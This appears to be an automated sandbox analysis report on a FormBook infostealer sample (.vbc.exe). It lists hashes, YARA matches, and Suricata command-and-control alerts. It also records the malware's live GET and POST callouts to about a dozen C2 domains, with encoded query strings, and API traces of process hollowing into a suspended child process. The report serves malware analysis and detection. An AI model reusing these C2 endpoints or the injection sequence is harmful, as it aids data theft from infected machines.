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.vbc.exe

NSIS Malicious Library UPX PE File DLL PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 28, 2021, 11:03 a.m. Oct. 28, 2021, 11:05 a.m.
Size 421.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 0e03abdcfc2280af3abae47683c0368a
SHA256 9205523ee331f11fbe9fb30fa72a45ed45ed2eb5f92b26f01b9e26774264e9d5
CRC32 2E577F12
ssdeep 6144:hBlL/UHVHxsk5PAWhE5FnkTGCTGoYIiy8l0Kp5AkXT+Qz126V6:nK1HxsQYIEIjS1Iiy8SmfXT+Qzvo
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49205 -> 70.39.125.244:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49205 -> 70.39.125.244:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49205 -> 70.39.125.244:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49205 -> 70.39.125.244:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.101:49203 -> 199.59.242.153:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49203 -> 199.59.242.153:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49203 -> 199.59.242.153:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49223 -> 150.95.114.233:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49223 -> 150.95.114.233:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49223 -> 150.95.114.233:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 120.79.70.33:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 120.79.70.33:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 120.79.70.33:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49207 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49219 -> 208.100.26.245:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49221 -> 156.240.146.122:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49207 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49219 -> 208.100.26.245:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49221 -> 156.240.146.122:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49219 -> 208.100.26.245:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49207 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49221 -> 156.240.146.122:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49213 -> 182.50.132.242:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49213 -> 182.50.132.242:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49213 -> 182.50.132.242:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49215 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49215 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49215 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49211 -> 136.143.191.204:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49211 -> 136.143.191.204:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49211 -> 136.143.191.204:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.thesugarlab.net/dnz9/?QFQLCr=Idvbba0MF/kQGajiPDQ0BtU9UR/6S6KzfrcT76qwTADBjDT6bieME1AfKGRXEiZr2N7zBOCu&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.abcfortis.xyz/dnz9/?QFQLCr=6ARw2HGGhhFL65s6pXAsehEw9Mer1fUDUfAoyG+V2gKh2RiIiaVJinxsP2DtKoQDCx0xajlo&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.larsonscompletewellness.com/dnz9/?QFQLCr=8j8o+Di1u89Hz5+B47P9M0QvjhZFDORnY21QyygQ+xvKvvmS9G92Q1wPTm7MWTiFk1+w4eYq&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.socalsandblasting.com/dnz9/?QFQLCr=QAH/q537EU4COfkJHrxYUrzZOi4REe/2s1Jyid/oZOLuJwhlHmYPW7lT9qWjTIQA6SYMg92H&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.into-mena.com/dnz9/?QFQLCr=3ag4vjOfnv+07s9FFiUkWtKgPKMLybE8jspBJRfAyAfqAQ9VBb/zfG2sx12s2MyOmLHLBCDV&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.baileysepictravel.com/dnz9/?QFQLCr=HDBI6A2Z/73943MCk9C/o97/70OIUcVPSll2x6ZmH/+b2P8dW+s/leAF468MVaZaq4ChjF19&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.sabanetavirtual.com/dnz9/?QFQLCr=ejJNf3mRMeUvMc8Yr9tYe4cGD1pDO9+FWVM0xq43/TzzIsMmcPf0XjBJWgLscL+X1SmA5CJh&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.inn-oasis.com/dnz9/?QFQLCr=IW5PNwaHghlTf0xm0Ks5DYjbiqjHJ+X1K5m7YNZFSAp7YuTOcGAeqxTwTnc4OI/h7NapWfoM&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.codelowenrangewwwdecimal.com/dnz9/?QFQLCr=pdBB9xDiriJfIw3kD921jAsii4fRl5Xta03FsCbmQDjV2BlGqNJh965M+1Yoo8YBTYzxVMHy&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.44a44.net/dnz9/?QFQLCr=7zMqaysx3EtGjnss6reJQ0j+uTiQ8gwrgaQz0zIBfDQ+NTHovINuL2ZEGUn3O8dxlJ/AyyCs&Ppm=_6g8ydKhyJots
suspicious_features GET method with no useragent header suspicious_request GET http://www.tentenno1.com/dnz9/?QFQLCr=C1OqYIG+srsEeKlYgjIZlxi155VbB51XW5Yk/rLmexTvMfK4GbE5kxIaHU1uJe6ZXofuLuUX&Ppm=_6g8ydKhyJots
request POST http://www.thesugarlab.net/dnz9/
request GET http://www.thesugarlab.net/dnz9/?QFQLCr=Idvbba0MF/kQGajiPDQ0BtU9UR/6S6KzfrcT76qwTADBjDT6bieME1AfKGRXEiZr2N7zBOCu&Ppm=_6g8ydKhyJots
request POST http://www.abcfortis.xyz/dnz9/
request GET http://www.abcfortis.xyz/dnz9/?QFQLCr=6ARw2HGGhhFL65s6pXAsehEw9Mer1fUDUfAoyG+V2gKh2RiIiaVJinxsP2DtKoQDCx0xajlo&Ppm=_6g8ydKhyJots
request POST http://www.larsonscompletewellness.com/dnz9/
request GET http://www.larsonscompletewellness.com/dnz9/?QFQLCr=8j8o+Di1u89Hz5+B47P9M0QvjhZFDORnY21QyygQ+xvKvvmS9G92Q1wPTm7MWTiFk1+w4eYq&Ppm=_6g8ydKhyJots
request POST http://www.socalsandblasting.com/dnz9/
request GET http://www.socalsandblasting.com/dnz9/?QFQLCr=QAH/q537EU4COfkJHrxYUrzZOi4REe/2s1Jyid/oZOLuJwhlHmYPW7lT9qWjTIQA6SYMg92H&Ppm=_6g8ydKhyJots
request POST http://www.into-mena.com/dnz9/
request GET http://www.into-mena.com/dnz9/?QFQLCr=3ag4vjOfnv+07s9FFiUkWtKgPKMLybE8jspBJRfAyAfqAQ9VBb/zfG2sx12s2MyOmLHLBCDV&Ppm=_6g8ydKhyJots
request POST http://www.baileysepictravel.com/dnz9/
request GET http://www.baileysepictravel.com/dnz9/?QFQLCr=HDBI6A2Z/73943MCk9C/o97/70OIUcVPSll2x6ZmH/+b2P8dW+s/leAF468MVaZaq4ChjF19&Ppm=_6g8ydKhyJots
request POST http://www.sabanetavirtual.com/dnz9/
request GET http://www.sabanetavirtual.com/dnz9/?QFQLCr=ejJNf3mRMeUvMc8Yr9tYe4cGD1pDO9+FWVM0xq43/TzzIsMmcPf0XjBJWgLscL+X1SmA5CJh&Ppm=_6g8ydKhyJots
request POST http://www.inn-oasis.com/dnz9/
request GET http://www.inn-oasis.com/dnz9/?QFQLCr=IW5PNwaHghlTf0xm0Ks5DYjbiqjHJ+X1K5m7YNZFSAp7YuTOcGAeqxTwTnc4OI/h7NapWfoM&Ppm=_6g8ydKhyJots
request POST http://www.codelowenrangewwwdecimal.com/dnz9/
request GET http://www.codelowenrangewwwdecimal.com/dnz9/?QFQLCr=pdBB9xDiriJfIw3kD921jAsii4fRl5Xta03FsCbmQDjV2BlGqNJh965M+1Yoo8YBTYzxVMHy&Ppm=_6g8ydKhyJots
request POST http://www.44a44.net/dnz9/
request GET http://www.44a44.net/dnz9/?QFQLCr=7zMqaysx3EtGjnss6reJQ0j+uTiQ8gwrgaQz0zIBfDQ+NTHovINuL2ZEGUn3O8dxlJ/AyyCs&Ppm=_6g8ydKhyJots
request POST http://www.tentenno1.com/dnz9/
request GET http://www.tentenno1.com/dnz9/?QFQLCr=C1OqYIG+srsEeKlYgjIZlxi155VbB51XW5Yk/rLmexTvMfK4GbE5kxIaHU1uJe6ZXofuLuUX&Ppm=_6g8ydKhyJots
request POST http://www.thesugarlab.net/dnz9/
request POST http://www.abcfortis.xyz/dnz9/
request POST http://www.larsonscompletewellness.com/dnz9/
request POST http://www.socalsandblasting.com/dnz9/
request POST http://www.into-mena.com/dnz9/
request POST http://www.baileysepictravel.com/dnz9/
request POST http://www.sabanetavirtual.com/dnz9/
request POST http://www.inn-oasis.com/dnz9/
request POST http://www.codelowenrangewwwdecimal.com/dnz9/
request POST http://www.44a44.net/dnz9/
request POST http://www.tentenno1.com/dnz9/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x728d2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x1000b000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2240
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00850000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsv66C2.tmp\fejywy.dll
file C:\Users\test22\AppData\Local\Temp\nsv66C2.tmp\fejywy.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2240
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000218
1 0 0
Process injection Process 2648 called NtSetContextThread to modify thread in remote process 2240
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314256
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000214
process_identifier: 2240
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2244
thread_handle: 0x00000214
process_identifier: 2240
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\.vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\.vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\.vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000218
1 1 0

NtGetContextThread

 thread_handle: 0x00000214
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2240
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000218
1 0 0

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314256
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000214
process_identifier: 2240
1 0 0
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